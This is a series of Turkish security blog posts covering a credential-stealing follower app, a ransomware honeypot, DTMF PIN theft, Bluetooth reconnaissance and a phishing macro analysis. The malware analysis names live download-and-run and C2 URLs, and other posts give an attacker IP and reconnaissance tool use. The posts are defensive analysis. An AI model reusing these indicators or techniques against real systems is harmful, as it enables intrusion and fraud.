Takipçi Kazan uygulamasının davranışını anlamak için ilk olarak uygulamaya hatalı Instagram parolamı girdim. “Kullanıcı adı veya şifre yanlış!!!” mesajından uygulamanın aldığı kullanıcı adı ve parola bilgisini anlık olarak Instagram üzerinde kullandığı açıkça anlaşılıyordu. Doğru parola girdikten sonra ise uygulamanın beni bilgilendirme ve ödeme sayfasına yönlendirdiğini gördüm. Daha sonra Instagram hesabıma giriş yaptığımda ise takip ettiğim kişilerin hızla arttığını gördüm. Çok geçmeden Instagram hesabıma giriş yapamaz oldum ve kısa bir süre sonra hesabım Instagram tarafından donduruldu.

Bu çalışmanın sonucunda, devlet sitelerimizin They PWN Houses! yazısına konu olan organize gruplar haricinde takipçi kılıfı altında siteler oluşturan sosyal ağ ve medya hırsızları tarafından da hedef alındığını öğrenmiş oldum. Yaptığım bu bireysel çalışmanın devlet sitelerinin güvenliğini sağlayan yetkili kurumlara ışık tutmasını temenni eder, takipçi kazan, beğeni kazan gibi web sitelerine, mobil uygulamalara karşı sosyal ağ ve medya kullanıcılarının dikkatli olmasını önerir, bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not: Yapmış olduğum bildirime istinaden çalışma başlatan USOM‘a, sorumlu bir vatandaş olarak teşekkür ederim.

Not: Araştırmayı yaptığım zaman ile blog yazısını yazmam ve yayımlamam arasında geçen süre zarfında yazıya konu olan hastanenin web sayfasından ilgili zararlı kodun kaldırıldığı görülmüştür.
The post Tehdit Avı appeared first on Siber Güvenlik Günlüğü.

Tuzak Sistem ile Hacker Avı

By Mert SARICA on July 3rd, 2017 - online version

Etrafımdaki tanıdığım, tanımadığım çok sayıda kişiden son yıllarda şu soruyu duymaya başladım, “Verilerimi şifrelediler, para istiyorlar, ne yapabilirim ? Kimden yardım alabilirim ?”. Bunu, yıllarca yapılan uyarıları dikkate almayıp, emniyet kemeri takmadan yola çıkıp, hızla duvara toslayıp daha sonra kolunu kaybeden bir kişinin “kolumu kaybettim, ne yapabilirim ?” sorusuna benzetiyorum. Bazı hataların maalesef telafisi ya kolay olmuyor ya da olmuyor. Şifreleme zararlı yazılımlarının cirit attığı siber dünyada, verilerinizi periyodik olarak yedeklemez, sistemlerinizde/cihazlarınızda güçlü parolalar kullanmaz (büyük, küçük harf ve özel karakter kullanma gibi), sistemlerinizin güvenliğini sıkılaştırmazsanız (hardening), muhakkak art niyetli birilerinin doğrudan ya da dolaylı olarak hedefi haline gelmeniz çok uzun sürmez. Geçmişten, günümüze doğru yapmış olduğum güvenlik araştırmalarına bakacak olursanız aslında ne demek istediğimi daha net anlayabilirsiniz.

2010 yılında yapmış olduğum ve yazıya döktüğüm Sanal Kuşatma başlıklı blog yazımda, evime kurduğum basit bir honeypot ve aşağıdaki cümle ile dikkat çekmeye çalıştığım nokta, bugün sanal dünyada son kullanıcıların yaşadığı sorunların hemen hemen ayak sesleri gibiydi.

“Honeypot kayıtlarından edindiğim bilgileri kısaca özetleyecek olursam honeypot üzerinde yer alan 11 bağlantı noktasından bir tanesine internete açıldıktan 12 dakika sonra ilk bağlantı gerçekleşmiş ve 5 saat içinde toplamda honeypota 8 farklı ülkeden, 14 farklı ip adresinden iletişim kurulmuştur.”

2014 yılında ise Air6372SO Varsayılan Hesap Doğrulaması başlıklı bir diğer blog yazımda, donanım yazılımlarına gömülen kullanıcı adı ve parolaların son kullanıcılar olarak güvenliğimizi nasıl tehlikeye atabileceğine dikkat çekmeye çalışmıştım. Yazının akabininde de, internetten gelen bağlantıları kabul edecek şekilde tasarladığım sahte Telnet Honeypot aracını sessiz sedasız hayata geçirdim. Kendisini Airties modemin konsol arabirimiymiş gibi tanıtan ve yazıda bahsi geçen gömülü parolalarla bağlantı kurmaya çalışanları kayıt altına alan bu araç ile yazının yayınlanmasından kısa bir süre sonra hem yurtiçinden hem de yurtdışından bağlantı kurulduğunu gördüm. Bunlardan birinde, İngiltere’den bağlantı kuran bir ip adresi (172.245.61.34), WiFi erişim noktası adını ve parolasını çalıp, sırra kadem bastı. Sebebi üzerine biraz düşününce, art niyetli kişilerin şifre kırmak amacıyla parola sözlüğü oluşturmak veya Wifi modeminiz üzerinden yeri geldiğinde siber suç işlemek için bu bilgileri toplamış olma ihtimalleri yüksek olabilirdi.

2016 yılının sonuna doğru ise yazımın başında belirttiğim şifreleme yöntemi kullanan fidyecilerin izledikleri yöntemleri açıklığa kavuşturmaya karar verdim. Rivayete göre art niyetli kişiler Türkiye’nin ip bloğunu Nmap vb. bağlantı noktası (port) tarama araçları ile tarıyorlar ve ardından internete açık olan Remote Desktop servisine Ncrack vb. araçlarla sözlük saldırısı (dictionary attack) gerçekleştiriyorlardı. Bu araştırma için bütçemi çok zorlamadan (6 taksit :)) gerekli donanımları toplamaya başladım.
Donanımları topladıktan sonra donanım olarak ortaya 2 GHZ hızında işlemcisi, 8 GB RAM’i ve 120 GB SSD diski olan bir tuzak sistem çıktı. Bunun üzerine ilk iş olarak ücretsiz olan ESXi sanallaştırma sistemini kurdum. Onun üzerine de üzerinde sahte muhasebe uygulaması bulunacak olan bir Windows 7 (Honeypot), tuzak sistemi hackleyen art niyetli kişilerin ağ trafiğini izlemek ve internet bağlantısını kısıtlamak amacıyla (malum sanal sistemimi başka suçlara alet etmelerini istemezdim) Ubuntu işletim sistemi (Batcave) kurdum. Windows 7’yi yerel ağda izole edip, internete bağlanabilmesi için Ubuntu’yu da vekil sunucu (ssl inspection proxy) yaptım.

Tuzak sistemi art niyetli kişiler için çekici hale getirmek amacıyla Windows 7 yüklü sisteme yüklemek üzere bir muhasebe yazılımı arayışına başladım. Hangi muhasebe yazılımının olacağına karar vermek için ise verileri şifrelenen mağdurlardan edindiğim bilgilerden faydalanarak tercihimi Akınsoft firmasının OctoPlus yazılımından yana yaptım.

Sıra tuzak sistemi tuzak yapacak olan aracı tasarlamaya geldiğinde her zaman olduğu gibi Python ile Windows üzerindeki kullanıcının tüm hareketlerini kayıt altına alan (tuş kaydı, video kaydı, ekran görüntüsü alma, pano (clipboard) kopyalama) ve video dosyası hariç geri kalan tüm bilgileri her 5 dakikada bir e-posta ile gönderen UAL (User Activity Logger) (kötüye kullanılmaması adına kaynak kodunu yayınlamama kararı aldım, üzgünüm.) adını verdiğim bir araç hazırladım. Tuzak sisteme bağlanan art niyetli kişileri uyandırmama adına işletim sistemi üzerinde Python27 klasörü başkta olmak üzere çeşitli klasörleri gizledim. Ardından derlediğim UAL.py aracının adını spoolsv.exe olarak değiştirip, her oturumda yeniden çalıştırılacak şekilde Windows servisi olarak kayıt ettim.

Tuzak sistemin yönetici parolasını muhasebe yapıp, modem üzerinden internet erişimine açtıktan sonra 6 ay boyunca bu sistemi izlemeye başladım. 6 ay süresince tuzak sisteme düşenler sayesinde sistemi iyileştirme adına epey bir yol katettim. Örneğin çoğu art niyetli kişi muhasebe dosyalarını şifrelemeden önce dosyaların değiştirilme tarihine bakıp, muhasebe programının aktif olarak kullanılıp kullanılmadığını kontrol ediyordu. Her ne kadar sözlük saldırısı ile tuzak sistemin yönetici parolasını kısa bir süre zarfında bulanlar olsa da, eşi dosta hedef alıp medyaya konu olan, verileri şifreleyip, not bırakan fidyecilerden birinin tuzak sistemime düşmesi yaklaşık 6 ay sürdü.

Tuzak sisteme bağlananların IP adreslerini ve sisteme ne kadar süre ile bağlı kaldıklarını öğrenebilme adına Remote Desktop servisine internetten erişim vermek yerine, Ubuntu (Batcave) üzerinden yönlendirme yapmaya karar verdim. Bunun için Ubuntu’nun 3389. bağlantı noktasına (port) gelen tüm istekleri, socat aracı ile tuzak sistemin 3389. bağlantı noktasına yönlendirdim. Socat aracının detaylı kayıt özelliğini yorumlaması pek pratik olmadığı için de Python ile Socat Connection Tracker adında yardımcı bir araç hazırladım.

Bir sabah uyandığımda e-posta kutumda tuzak sistem tarafından gönderilmiş çok sayıda e-posta olduğunu farkettim. Bu durum ben gece mışıl mışıl uyurken birinin tuzak sistemimi hacklediği anlamına geliyordu. Tuzak sistemin konsoluna ESXi arabiriminden bağlandığımda ilk dikkatimi çeken sistemde Sys isimli farklı bir kullanıcının oluşturulduğuydu. Sisteme giriş yaptığım zaman ise karşıma çıkan Steganos Backup 2012 yedekleme yazılımı ile muhasebe programının klasörlerinin şifreli olarak yedeklendiği ve masaüstünde yer alan not ile uzun zamandan beri beklediğim günün nihayet geldiğini anladım. Bağlantı kuran kişi yukarıda yer alan ekran görüntüsünden de anlaşılacağı üzere tuzak sistemime 44 dakika bağlı kalmıştı.

Art niyetli kişiye ait kayıtları incelediğimde kameder.com.tr adresinden (muhtemelen hacklenmiş bir site), pr.docx isimli bir dosya indirdiğini gördüm. 65 MB büyüklüğünde bir belge olması oldukça şüpheli olduğu için bunun bir ZIP dosyasını öğrenmem çok zor olmadı. Bu ZIP dosyasını açmaya çalıştığımda ise bir parola soruluyordu. Parolayı bulmak için ise yine kayıtlara hızlıca göz attığımda, parolanın x olduğunu gördüm. ZIP dosyasını açtığımda art niyetli kişinin hacklediği sistem üzerine yükleyip, çalıştırmak amacıyla kullandığı tüm araçları karşımda buldum. Sys kullanıcısının parolasını da bir bat dosyası içinde bulduktan sonra şifrelenen dosyalarımın parolasının da olabileceği ihtimaline karşı benzer dosyaları incelemeye devam ettim ancak parola içeren herhangi bir dosya bulamadım.

Tuzak sistem üzerinde kopyala yapıştır ve dosya paylaşımını engellediğim için art niyetli kişinin muhasebe programına ait klasörleri şifrelemek için seçtiği parolayı yazmakta epey zorlandığını gördüm. :) SEMSIPASA ile başlayan uzun parolayı yazmakta epey zorlandıktan sonra karsiyaka ile baslayan bir parola denemiş ve onu da yazamayinca son olarak dvdassanat669- parolasında karar kılmıştı. İzlendiğinden habersiz olan art niyetli kişi, verileri şifreleyip e-posta atılmasını hayal ederken, tuzak sistem sayesinde dvdassanat669- parolası ile şifreyi çözüp, bu konuyu da kendi adıma açıklığa kavuşturmuş oldum.

Sonuç itibariyle bu yazıya konu olan fidyecilerle mücadele edebilme adına, periyodik olarak sistemlerinizin yedeğini almak, yedeklerinizi güvenli ortamlarda saklamak, internete açık olan bağlantı noktalarınızı kontrol edip ihtiyaç duymadıklarınızı devre dışı bırakmak ve sistemlerinizde güçlü parolalar kullanmak kısa vadede fidyecilerin kötü emellerine ulaşmalarını zorlaştıracaktır.
Unutmadan, tuzak sistem tarafından art niyetli kişinin verileri şifrelemesi esnasında kayıt ettiği videoyu da aşağıda izleyebilirsiniz.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post Tuzak Sistem ile Hacker Avı appeared first on Siber Güvenlik Günlüğü.

DTMF Hırsızlığı

By Mert SARICA on June 1st, 2017 - online version

15 Kasım 2016 tarihinde Hürriyet’te yayınlanan “Dolandırıcılıkta yeni yöntem: Dolandırılıyorsunuz; şifrenizi ekrana tuşlayın” başlıklı yazı dikkatimi çekti. Haberin detaylarını okuduğumda dolandıcıların yeni keşfettikleri akılalmaz bir yöntem ile dolandırıcılık yaptıklarına dem vuruluyordu. Şayet haberi derleyen kişi, haberi yayımlamadan önce en azından bir bilişim uzmanına danışmış olsaydı eminim bunun akıl almaz bir yöntem olmadığını öğrenmesi 5 dakikasını almaz ve dolandırıcıların kullandıkları yöntemi de açığa kavuşturarak çok sayıda vatandaşımızı, ilgilileri bu konuda aydınlatabilirdi. Durum böyle olmayınca ve yakın çevremden de bu konuya ilişkin sorular geldiği için iş başa düştü ve bu haberde yer alan yöntemi açığa çıkarmaya karar verdim.
Detaylara geçmeden önce ilk olarak Çift Tonlu Çoklu Frekans‘tan (Dual Tone Multi-Frequency / DTMF) kısaca bahsetmek gerekiyor. DTMF, Bell Systems firması tarafından 1963 yılında geliştirilmiş ve telefon şebekesinde taraflar arası bilginin iletilmesini sağlayan bir kodlama türüdür. DTMF tuş takımları aşağıdaki gibi 16 tuştan oluşur. Tuşlu telefonlarda, tuş takımlı akıllı telefonlarda her bir tuşa basıldığında, aşağıdaki tabloya göre bir ton çifti oluşturulur ve telefonun diğer ucundaki tarafa sinyale dönüştürülerek iletilir. Örneğin bir bankayı aradığınızda sizi karşılayan robot, sizi tanıyabilmek için sizden müşteri numaranızı ve TCKN numaranızı girmenizi ister. Siz bu bilgileri tuşlamaya başladığınız zaman oluşan ve rahatlıkla duyabildiğiniz her ton çifti, robot tarafından Goertzel algoritmasına göre çözümlenerek sayısal değere çevrilir ve işlemlerinizi gerçekleştirilir.

Yukarıdaki özet bilgi ışığında habere konu olan dolandırıcılık yönteminin pratikte nasıl gerçekleşebileceğine kısaca bir bakalım. İkna dolandırıcılığında, dolandırıcıların temel amacı karşı tarafın güvenini kazanararak kötü emellerini gerçekleştirmektir. Haberde de belirtildiği üzere bankadan aradıklarını söyleyen dolandırıcılar, vatandaşa parasının çekilmeye çalışıldığını ve bu şüpheli işlemi durdurmak için kart PIN kodunu ekrana tuşlayarak durdurabileceğini söylemektedirler. Vatandaşın güveninini kazanarak yapılan bu dolandırıcılıkta, dolandırıcıların yaptığı işlem tahmin edeceğiniz üzere vatandaşın ekrana girerken bastığı tuşların oluşturduğu DTMF sinyalini çalmaktır.
DTMF sinyalini çalmak ve sayısal değere dönüştürmek dolandırıcılar için ne kadar zor olabilir diye düşünmeye başladığımda, ilk olarak e-ticaret sitelerine girip “DTMF” anahtar kelimesi ile arama yapmaya karar verdim. Çok geçmeden DTMF sinyalini çözebilen Arduino modüllerinin 23 TL gibi uygun bir fiyata satıldığını gördüm. İlan üzerindeki bilgilere kısaca göz attığımda da, aşağıdaki video ile pratikte bu işin çok da zor olmayacağını öğrendim.

İşin içine modüller ve kablolar girdiğinde dolandırıcıların çok da bu yolu tercih etmeyeceklerini düşünerek başka yollar üzerine düşünmeye başladım ve Automatic Call Recorder gibi çağrı kaydı yapan akıllı telefon uygulamaları aklıma geldi. Uygulamayı yükleyip, çalıştırdıktan sonra eşime kendimi aratıp ekrana 1234 PIN kodunun tuşlandığı ufak bir parodi hazırladım.

Son olarak GitHub üzerinde kayıt altına aldığım ses dosyasındaki DTMF sinyalini sayısal değere dönüştürmek için program aramaya koyuldum ve 4 yıl önce DTMF sinyalini çözmek amacıyla geliştirilmiş olan bu araç ile karşılaştım. Ses dosyası (dtmf.wav) üzerinde bu aracı çalıştırdıktan kısa bir süre sonra eşimin telefonundan ekrana tuşladığım PIN kodunu (1234) programın çıktısında görebildim.

Sonuç itibariyle ikna dolandırıcılarının güveninizi kazanarak bilgilerinizi çalmak için çağrı merkezlerinde kullanılan robotları taklit ettiklerini ve arka planda ekrana tuşladığınız bilgileri DTMF sinyalleri üzerinden kolaylıkla çalabildiklerini görüyoruz. Güvenliğiniz için güvenilirliğinden emin olmadığınız hiç bir sisteme kart no, pin, müşteri no vb. bilgilerinizi telefon üzerinden tuşlamayınız.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post DTMF Hırsızlığı appeared first on Siber Güvenlik Günlüğü.

Mavi Tehlike

By Mert SARICA on May 2nd, 2017 - online version

Logosunu, Danimarka’nın ilk kralı olan 10. Yüzyıl Viking savaşçısı Harald “Mavidiş” Gormsson‘un baş harflerinin runik alfabesindeki karşılığından (ᚼ ve ᛒ) alan Bluetooth kablosuz ağ teknolojisi, cep telefonları ile önce cebimize, sonrasında Bluetooth Low Energy (BLE) olarak IoTler ile hayatımıza gireli epey oldu.
2000’li yılların ortalarına doğru, BlueSnarfing yöntemi ile art niyetli kişilerin Nokia ve Ericsson marka cep telefonlarında bulunan zafiyet sayesinde Bluetooth üzerinden bilgimiz ve iznimiz olmadan mesajlarımıza, adres defterimizi ulaşabildiğini gördük. Ardından Bluejacking yöntemi ile hedef telefona vCard formatında istenmeyen mesajlar gönderilebildiğini, Bluebugging yöntemi ile de bilgisayarımızın, cep telefonumuzun art niyetli kişilerce kontrol edilebildiğini öğrendik. Commwarrior zararlı yazılımı ile Bluetooth’un atak vektörü olarak nasıl kullanılabileceğini tecrübe etmiş olduk. Tabii ortaya çıkan tüm bu zafiyetlerin, kötüye kullanımların temelinde Bluetooth’un ta kendisinin değil aksine üreticiler tarafından hatalı kullanılmasının (implementation) olduğunu unutmamamız gerekmektedir.
Geçmişten günümüze dönecek olursak, artık modern ve güncel akıllı cihazlarda eskiden olduğu gibi Bluetooth, keşfedilebilir kipte çalışmıyor. Örneğin Android 6.0.1 işletim sisteminde (ve iOS’ta da benzer şekilde), diğer cihazların sizin cihazınıza Bluetooth üzerinden bağlanabilmesi için Ayarlar’dan Bluetooth menüsüne girmeniz gerekiyor. Durum böyle olunca güvenlik ve mahremiyet adına çok endişe etmenize gerek kalmıyor. Güncel olmayan sistemlerde ise Bluetooth’u devre dışı bırakarak potansiyel tehlikelerden kaçınabiliyoruz.
Peki ya evimizde kullandığımız akıllı, akılsız internete bağlanan nesneler (IoT) ? Bluetooth üzerine biraz düşünürken aslında evimizde kullandığımız nesnelerin, akıllı cihazların hırsızlara, art niyetli kişilere davetiye çıkardığını gördüm. Örneğin evimde, üzerinde Bluetooth desteği bulunan ve her daim Bluetooth servisi açık (hata #1) olan akıllı bir televizyonum var. Televizyonumu ne zaman açsam Bluetooth üzerinden haberleşmeye açık konumda bekliyor ve bağlantı kurulana dek adını ([TV]Samsung LED48 – hata #2) etrafa yayınlıyor. (broadcast)
Genellikle hırsızların hacking döngüsünde de olduğu gibi bir eve girmeden önce aktif ve pasif keşif çalışması yaptıklarını biliyoruz. Gece ise evin ışıkları yanıyor mu ? Perdeler kapalı mı ? Zili çalınca kim o diye soran var mı ? gibi gibi. Peki günümüzde Bluetooth teknolojisi hırsızlar tarafından nasıl kötüye kullanılabilir ?
Kısa mesafe teknolojisi olarak bilinen Bluetooth teknolojisinin aksine, sınıfına (class) göre 100 metre mesafeye kadar haberleşme sağlayabildiğini görebiliriz. Parani UD-100 gibi bir aygıt ve uygun anten ile bu mesafenin 600 metre ila 1 KM’ye kadar genişletilebildiğini düşündüğümüz de, art niyetli kişilerin uzak mesafeden bluetooth kullanan aygıtlarımızı izleme hatta müdahale etme imkanı olduğunu az çok tahmin edebiliriz.
Özellikle işaret gücü göstergesi (RSSI) bilgisinden faydalanarak etrafınızda bulunan bir Bluetooth aygıtın size ne kadar yakın olduğunu kestirebilirsiniz. Kali Linux ile birlikte gelen ve l2cap‘ten faydalan BlueRanger aracı da size bu konuda yardımcı olabiliyor.
Bu bilgiler ışığında üzerinde Kali Linux çalışan ve Parani UD-100 USB adaptörü takılı olan bir Raspberry Pi 3 ile bazı araçlardan faydalanarak ufak testler yapmaya karar verdim. İlk olarak Blueranger aracına Parani UD-100 USB adaptörünün oldukça yakınında tutarak, bluetooth ekranı açık olan Android 6.0.1 çalışan cep telefonumun MAC adresini verdim. Ardından salonun diğer ucunda bulunan akıllı televizyonumun MAC adresini verdiğim de ortaya çıkan sonuçlar beni tatmin etti.

Tabii işi biraz daha ileriye götürüp etraftaki Bluetooth cihazlardan, aygıtlardan daha detaylı bilgi almaya karar verdim ve bu defa Blue Hydra aracı ile ufak bir test gerçekleştirdim.

Blue Hydra aracı sızma testi cihazları ile adını duyurmuş Pwnie Express ekibi tarafından geliştirilmekte olan, tespit etiği Bluetooth aygıtları, cihazları ve topladığı bilgileri arka planda veri tabanında saklayabilen oldukça faydalı bir araçtır.

Raspberry Pi’yi evde camın kenarına yaklaştırdığımda, Blue Hydra sayesinde etrafımda çok sayıda Bluetooth cihaz olduğunu üretici, tür, sürüm, işaret gücü göstergesi (RSSI) bazında görebildim. Hatta RSSI bilgisi sayesinde ya üst ya da alt kattaki komşumun 55 ekran Samsung televizyonu olduğunu tespit edebildim.

Bu bilgileri ben toplayabiliyorsam herkes toplayabilirden yola çıkacak olursak, art niyetli kişilerin, teknolojiden faydalanabilen hırsızların bu yöntem ile kendileri için değerli olabilecek bilgileri toplayabileceğini öğrenmiş oldum.
Güvenliğiniz, mahremiyetiniz adına cep telefonundan, evinizde kullanmış olduğunuz nesnelerin internetine (IoT) kadar tüm cihazlarınızda, sistemlerinizde kullanmadığınız sürece Bluetooth servisini kapalı tutmanızı ve çevrenizdekilere de bunu tavsiye etmenizi öneririm.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post Mavi Tehlike appeared first on Siber Güvenlik Günlüğü.

Bir APT Girişimi

By Mert SARICA on April 3rd, 2017 - online version

Her geçen yıl yaşanan ciddi siber güvenlik ihlalleri ile başkalarının yaşadıklarından ders çıkaran kurumlar, katmanlı güvenlik mimarisine daha fazla önem vermeye, davranışsal analiz, izleme yapan teknolojilere ve ileri seviye siber saldırıları tespit edebilmeleri, müdahale edebilmeleri adına çalışanlarına daha fazla yatırım yapmaya başladılar. Yıllar içinde klasik güvenlik yaklaşımının (antivirüs, firewall, ips vs.) siber saldırganları tespit etmekte zayıf kalması, engelleyememesi, kurumları daha fazla kaynaktan kayıt (log) toplamaya (SIEM) ve bunlardan anlamlı, değerli alarmlar üretmeye (korelasyon) kanalize etti. Eskiden tehdit raporlarında okunan ileri seviye siber saldırılar (APT), kurumlar için uyanılamayan bir kabusa dönüşmeye başladı.
Yazılı ve görsel medyadan da duyurulduğu üzere geçtiğimiz aylarda Akbank, Kamuoyu Aydınlatma Platformu (KAP) üzerinden siber saldırıya uğradığını duyurdu. Gelişme ve sonuç kısımları farklı olsa da 2014 yılında HSBC Türkiye de bir siber saldırı yaşadığını kamuoyu ile paylaşmıştı. Bugün bakıldığında dünyada olduğu gibi ülkemizde de bankaların (medyaya yansımayanlar da dahil) ileri seviye siber saldırılarla karşı karşıya olduğu yadsınamaz bir gerçek bu nedenle Carbanak, Odinaff gibi ileri seviye siber saldırılar ile finansal kurumlardan 1 milyar dolara yakın para çalan organize siber suç örgütleri ile mücadele edebilme adına regülasyonların ve güvenlik standartlarının da ötesinde, teknoloji, eğitim ve insan kaynağı konularında finans kurumlarının, bankaların çalışmalarına, yatırımlarına hız kesmeden devam etmeleri gerekmektedir.
Günümüzde bir banka hackleniyor ise bunun ardında yolun başında olan 3-5 genç arkadaşın olma ihtimali oldukça düşük olduğu için, “Benim antivirüs bile zararlı makroyu tespit ediyor.” gibi yorumlarla bu tür ileri seviye siber saldırıları basite indirgemek çok doğru bir yaklaşım olmayacaktır. Amma velakin, uçak kazalarında olduğu gibi zincirleme yapılan hataların sonucunda bu durumla karşılaşıldığı gerçeği de, her hacking vakası sonrasında dikkatle irdelenmesi ve herkes adına ders çıkarılması gereken önemli bir konudur. Özellikle bankaların hacklenmesinden sonra her kriz bir fırsat doğurur edasıyla yapılan ürün yerleştirmelerin dışında, kimi haklı kimi haksız yorumlar okudukça, bu yazı ile başarıya ulaşamayan bir APT girişimini ve bundan sonra haberlere konu olan vakaların okurlar tarafından daha objektif bir gözle değerlendirilmesine, yorumlanmasına da yardımcı olmaya karar verdim.
Bu hikaye, London School of Economics üniversitesinde bir akademisyenin e-posta hesabının hacklendiği varsayımı üzerine başlar. Art niyetli kişi tarafından hedef kurumdan özenle seçilmiş tek bir kişiye e-posta yolu ile sosyal mühendislik saldırısı gerçekleştirilmeye çalışılır. Bu saldırıda hedef alınan kişiyi şüphelendirmeme adına ilk olarak bir tane e-posta gönderilir. E-postayı gönderen kişinin gerçekten o üniversitede çalışan bir akademisyen olması, e-posta adresinin (w.frost@lse.ac.uk) gerçekten o kişiye ait olması, gönderilen ilk e-postada herhangi şüpheli bir ek, bağlantı adresi (link) bulunmaması ve kelimelerin özenle seçilip, e-postanın oldukça iyi kurgulanmış olması, art niyetli kişi veya kişilerin motivasyonunu net olarak ortaya koymaktadır. Art niyetli kişi tarafından gönderilen son e-postada, hedef kişiden bir formu indirmesi (http://moya.bus.miami.edu/~emil/Documents/Application_Form.doc) ve doldurması istenir. Alınan önlemler sayesinde hedef kişiye ulaşamayan bu e-posta, FireEye güvenlik sistemi başta olmak üzere çok sayıda sistemde alarmları tetikleyerek, şüpheli e-postanın kurumsal SOME ekibi tarafından manuel olarak incelenmesi sürecini başlatır.

Application_Form.doc dosyasını indirip Microsoft Office yazılımı ile açtığınızda, “Some active content has been disabled / Bazı etkin içerik devre dışı bırakıldı” uyarı mesajı ile karşılaşıyorsunuz ancak Microsoft Office Makro Analizi başlıklı yazımda olduğu gibi kolay bir şekilde Macro (view -> macros -> view macros) menüsünden makroya dair bir içerik göremiyorsunuz çünkü bu zararlı makro, Dridex bankacılık zararlı yazılımı salgınında olduğu gibi ActiveMime objesi (zlib ile sıkıştırılmış makro içeren OLE) olarak dosyada yer alıyor. VirusTotal sitesine Application_Form.doc dosyasını yüklediğinizde ise herhangi bir antivirüs yazılımının bu dosyayı zararlı olarak tespit edememesi (0/53) haliylen sizi pek şaşırtmıyor.

Application_Form.doc dosyasını Notepad++ editörü ile açtığınızda, gömülü xml, jpg, html, png dosyaları dışında editdata.mso dosyası hemen dikkatinizi çekecektir. Base64 ile gizlenmiş bu veriyi açıp daha sonrasında REMnux ile gelen oledump aracı ile incelediğinizde makroya kolaylıkla ulaşabiliyorsunuz. Makroyu herhangi bir editörle incelediğinizde karmaşıklaştırılmış (obfuscated) olduğunu, sadeleştirildikten sonra ise bunun bir powershell betiği olup, http://45.63.22.17/image27.ico dosyası olarak indirildikten sonra teds.exe olarak adlandırıldıp çalıştırıldığını görebilirsiniz.

APT odaklı siber saldırılarında sıklıkla rastladığımız gibi teds.exe dosyasının da çalıntı olduğunu düşündüğüm bir firmaya ait olan dijital sertifika imzalanmış olması, art niyetli kişilerin uygulama kontrolü (application control) yapan yazılımları atlatmak amacıyla bu yönteme başvurmuş olduklarını açıkça ortaya koyuyordu. teds.exe dosyasını VirusTotal sitesine yüklettiğinizde ise bu defa 2 antivirüs yazılımının bu dosyayı zararlı yazılım olarak tespit ettiğini görebiliyorsunuz.

UPX ile paketlenmiş olan teds.exe çalıştırıldıktan sonra kendisini %APPDATA% klasörüne Adobe, Mozilla/Firefox, Google/Chrome, Dropbox, Skype, Hewlett-Packard klasörlerinden birine mozillacache.exe, nacl32.exe, hpprint.exe, hpscan.exe skypehelper.exe, dropboxhelper.exe, acrobroker.exe, adı altında kopyalayıp ardından çalıştırmaktadır. Çalıştırılır çalıştırılmaz ise yaptığı ilk iş, IP lokasyonu Fransa’yı işaret eden http://91.121.120.198/v1 adresine istekte bulunarak kalpatışı (heartbeat) mesajı iletmektedir.

Zararlı yazılımda yer alan karakter dizileri (strings) üzerinde araştırma yapmaya devam ettiğinizde çok geçmeden bu zararlı yazılımın 2016 yılının başında Kaspersky tarafından keşfedilen, Linux, Windows, macOS işletim sistemlerini hedef alan Mokes isimli ses, görüntü ve tuş kaydı yapabilen casus bir yazılım olduğunu anlayabiliyorsunuz.

Sadede gelecek olursak, Kaspersky vb. güvenlik şirketlerinin tehdit raporlarında okuduğunuz ve okurken “Vay canına adamlar neler yapmışlar, nasıl yapmışlar…” dediğiniz o APT grupları, siz o raporları okurken aslında sizi ve kurumunuzu hedef alıyor olabilir. Bu gruplarla mücadele edebilme adına güvenlik teknolojileri, eğitim ve insan kaynağı yatırımlarınızı bir sonraki yıla ötelemeden önce tekrar, tekrar ve tekrar düşünmekte fayda olacaktır.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not: Bu yazı ayrıca Pi Hediyem Var #10 oyununun çözüm yolunu da içermektedir.
The post Bir APT Girişimi appeared first on Siber Güvenlik Günlüğü.

Casus Telefon

By Mert SARICA on March 1st, 2017 - online version

Ofansif güvenliğe olan merakımın zirve yaptığı lise yıllarımın başında (1998 yılı) oldukça şanslı bir sınıftaydım çünkü etrafımda Fenerbahçe mi yoksa Galatasaray mı büyük yerine Windows NT 4.0 mı yoksa Linux mü daha güvenli tartışmaları yapan sınıf arkadaşlarım vardı. O gün Windows NT‘yi savunan arkadaşım akşam Linux kullanan arkadaşların siber saldırısına karşın sistemini ayakta tutmaya çalışır ve bunun üzerine bir sonraki gün sınıfta tatlı atışmalar olurdu.
1998 yılında Slackware Linux ile oldukça haşır neşir olan sınıf arkadaşlarımdan biri olan Doğaç ŞENOL, bana da Slackware Linux kurmayı teklif etmiş ve kabul etmem üzerine Linux dünyasına adım atmıştım.
Sohbet sunucularının (IRC) oldukça meşhur olduğu o yıllarda, Linux’ten IRC sunucularına kara kuru konsol ekranından BitchX IRC istemcisi ile bağlanmaktan çok keyif alıyordum. Birgün root yetkisi ile çalıştırdığım BitchX IRC istemcisi ile EFnet IRC ağındaki #Linux kanalına girmeye çalıştığımda, identimde root yazdığı için otomatik olarak kanaldan atılmıştım. Sebebini sorduğumda ise yönetici yetkisi ile sohbet sunucularına girmenin güvenliğim açısından (Root yetkisi ile çalıştırdığım IRC istemcisindeki bir zafiyet, uzaktan istismar edilerek art niyetli kişiye sistemimde root yetkisi verebilirdi.) riskli olduğu söyleniyordu. Her ne kadar o zaman buna anlam veremesem de, ilerleyen yıllarda bunun sebebini ve önemini çok daha iyi anladım.
Günümüze dönecek olursam, iOS veya Android yüklü akıllı cihazlar, katmanlı güvenlik modeline uygun olarak kısıtlı yetkilerle çalışacak şekilde son kullanıcıya ulaştırılmaktadır. Örneğin Android’de root yetkisine sahip olmadığınız taktirde diğer bir uygulamanın verisine rahatlıkla ulaşamayıp o uygulamanın size sunmuş olduğu yetkiler/erişimler sınırında erişebilirsiniz. iOS’a baktığınızda da benzer şekilde kısıtlar olduğun görebilirsiniz. Sizi engelleyen bu kısıt aynı şekilde cihazınıza bir şekilde yüklenen zararlı yazılımların da verebileceği potansiyel zararları azaltmaktadır.
Tabii çoğu kullanıcı bu sistemsel kısıtların başta özgürlüklerini kısıtladıklarını düşünerek Android yüklü cihazlarında root yetkisi almak, iOS yüklü cihazlarını ise jailbreak etmek için güvenliği ikinci plana atmaktadırlar. Bu durum da casus uygulamaların işini oldukça kolaylaştırmaktadır.
